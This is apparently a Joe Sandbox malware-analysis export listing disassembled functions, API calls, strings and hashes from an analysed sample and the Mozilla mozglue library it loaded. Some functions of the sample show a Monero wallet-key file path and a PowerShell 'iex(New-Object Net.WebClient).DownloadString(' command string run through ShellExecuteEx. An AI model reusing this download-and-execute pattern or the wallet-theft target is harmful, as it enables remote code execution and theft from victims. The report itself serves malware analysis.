Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 6d92918f56894f3b3c72d6cb91c97851358d77fd5e7eaf95c98587b716c78051
Instruction ID: f735bf533c239e1f12e73785e5c16111d3ea4132e4450afffa82f2ea72ad4ab4
Opcode Fuzzy Hash: 6d92918f56894f3b3c72d6cb91c97851358d77fd5e7eaf95c98587b716c78051
Instruction Fuzzy Hash: 4BF05E30D5C249FFE344AFE0EA49B2C7B70FB04713F140298F60986290DA764B41ABD6

Function 6C68B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C68B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C68B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C68B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C68B5F4
__Init_thread_footer.LIBCMT ref: 6C68B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C68B61F
std::_Facet_Register.LIBCPMT ref: 6C68B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68B655

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction ID: 34cd8a69c7a1094eb4cee9325d1a820fbff3133722f3befb0e40e5ae5164a1ad
Opcode Fuzzy Hash: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction Fuzzy Hash: 94317271B00106CBCB109F6AC8949AEB7F5FBC6324F154519E90697790DB70A90ACFAE

Function 6C661D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C661D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D4C
GetCurrentThreadId.KERNEL32 ref: 6C661DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C661DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C661DDA

Part of subcall function 6C661EF0: GetCurrentThreadId.KERNEL32 ref: 6C661F03
Part of subcall function 6C661EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C661DF2,00000000,00000000), ref: 6C661F0C
Part of subcall function 6C661EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C661F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C661DF4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction ID: 57885d5085d9cf9f53d58132f444fb751ca9c4abb37a995b49819cfc44aa7272
Opcode Fuzzy Hash: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction Fuzzy Hash: EF417BB56007019FCB10DF2AC488A5ABBF9FF89354F10442EE95A87B41CB71F854CB99

Function 6C6584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585AC

Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65767F
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C657693
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585B2

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction ID: ee4e3d32a569d3726b034fca9e48b58a770bdb8f5ef0669812762b30d3a4650c
Opcode Fuzzy Hash: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction Fuzzy Hash: 9421DE702006019FDB14DF2AC888A5AB7B5AF8830DF64482DE58BC3F41DB31F968CB59

Function 007892E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:x,80000000,00000003,00000000,00000003,00000080,00000000,?,00783AEE,?), ref: 007892FC
GetFileSizeEx.KERNEL32(000000FF,:x), ref: 00789319
CloseHandle.KERNEL32(000000FF), ref: 00789327

Strings

:x, xrefs: 00789311, 0078933D, 00789314
:x, xrefs: 007892F8, 007892FB

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :x$:x
API String ID: 1378416451-391103452
Opcode ID: df123a6f0b57cbeb20420fcb59c36b4ee92e76318370ea8276a6b8c2f588e420
Instruction ID: 1686dd98a2a265bb558b543f1f8c3b070eec8f39e9c627bf8efe5d6d7993803b
Opcode Fuzzy Hash: df123a6f0b57cbeb20420fcb59c36b4ee92e76318370ea8276a6b8c2f588e420
Instruction Fuzzy Hash: 0FF03C75E58208BBDB10EBF0DD49BAE77B9AB48720F108294B651A72C0DA7496019B80

Function 6C65F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F561

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F585
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C65F3A8
[I %d/%d] profiler_resume, xrefs: 6C65F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C65F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C65F499

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction ID: 69174eacf5275eae1ac9697278410fd12da30e6e28adadfae3a13054c4b6a268
Opcode Fuzzy Hash: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction Fuzzy Hash: 89F0B4752002069BDB10AF66D88896A77BDEFC669DF100411FA0683702CB315C06C76E

Function 6C6714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6714E2
GetCurrentThreadId.KERNEL32 ref: 6C671546
InitializeConditionVariable.KERNEL32(?), ref: 6C6715BA
free.MOZGLUE(?), ref: 6C6716B4

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction ID: d5b02051a5dc4289fb9d1c82b6fc87462b50fe403f40704483ef15c59dcf6d38
Opcode Fuzzy Hash: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction Fuzzy Hash: 29610771A007109BDB21CF21C890BDEB7B5BF8A308F04991DED8A57701DB31E955CBAA

Function 6C66DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C66D38A,?), ref: 6C66DC6F
free.MOZGLUE(?,?,?,?,?,6C66D38A,?), ref: 6C66DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C66D38A,?), ref: 6C66DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C66D38A,?), ref: 6C66DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C66D38A,?), ref: 6C66DD4A

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction ID: 09e4415d6b06cf754bbdcf4b5c112abca536be475ae8fae4b872ea95b3a14a09
Opcode Fuzzy Hash: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction Fuzzy Hash: F8418F75A00615CFCB00CF9AC88099AB7F9FF89318B654569D945A7B10D771FC01CB99

Function 6C64F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C64F480

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

CloseHandle.KERNEL32(00000000), ref: 6C64F555

Part of subcall function 6C6214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C621248,6C621248,?), ref: 6C6214C9
Part of subcall function 6C6214B0: memcpy.VCRUNTIME140(?,6C621248,00000000,?,6C621248,?), ref: 6C6214EF

Part of subcall function 6C61EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C61EEE3

CreateFileW.KERNEL32 ref: 6C64F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C64F523

Strings

\oleacc.dll, xrefs: 6C64F4CB

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction ID: 4ca7f51a4fa8200fed87f45d02b7f9ed327b2eb825cd083233e91d85886de748
Opcode Fuzzy Hash: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction Fuzzy Hash: FE41DF706087119FE724DF29C884B9BB7F4AF95318F108A1CF59483650EB70E949CBAB

Function 00782C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

ShellExecuteEx.SHELL32(0000003C), ref: 00782D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00782CC4
<, xrefs: 00782D39
')", xrefs: 00782CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00782D04

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 05dd5ecad03fb0debc602422bc230844a5bfd88d92a733dc63640aed0ee61294
Instruction ID: b436bfecc97258dacefdd84a66741ada6a2efedacf79030f480d5e44c2e8db7e
Opcode Fuzzy Hash: 05dd5ecad03fb0debc602422bc230844a5bfd88d92a733dc63640aed0ee61294
Instruction Fuzzy Hash: CB41BE71D50208EAEB19FBA0D899BDDB774AF14300F40416AF116B6191DF7C6A4ACFA2

Function 6C6774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C677526
__Init_thread_footer.LIBCMT ref: 6C677566
__Init_thread_footer.LIBCMT ref: 6C677597

Strings

kernel32.dll, xrefs: 6C677557
UnmapViewOfFile2, xrefs: 6C677552

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction ID: 54a3633d7e08d9a4f6e937cb7723f93c28283fa5280e1b2b65863afcb982bef2
Opcode Fuzzy Hash: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction Fuzzy Hash: AF210A31700503A7DF25CFE6E894ED93375EB47328F114928F8064BF40CB71A8128AAE

Function 6C67C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C67C0E9), ref: 6C67C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C67C437
FreeLibrary.KERNEL32(?,6C67C0E9), ref: 6C67C44C

Strings

ntdll.dll, xrefs: 6C67C413
NtQueryVirtualMemory, xrefs: 6C67C431

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction ID: 72d1a71f3a8ba8e3572bb31f0ec1921dc3dc8cd3058a07d028093cf211c1a9e4
Opcode Fuzzy Hash: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction Fuzzy Hash: 33E0B670711303ABDF60BF73DA887157BFCAB46344F11451ABA0591611EBB0C0128B6E

Function 00779E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00779F41

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00779E67
@, xrefs: 00779EF1
v20, xrefs: 00779E21
v10, xrefs: 00779EA3

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
